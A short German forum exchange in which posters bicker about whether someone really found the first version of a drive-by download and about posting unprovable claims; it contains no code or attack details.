seit der ersten mir bekannten version

Drive-By-Download gab es schon länger - dass du da die erste erwischt hast wage ich zu bezweifeln

manche sachen sidn aber halt einfahc so gut wie unverständlich ....
[...]
erst fragen und nicht gleich ieinen schrott den man nicht beweisen kann posten ...

Du hast mir doch gerade den Beweis geliefert, oder siehst du das nicht so? o_O
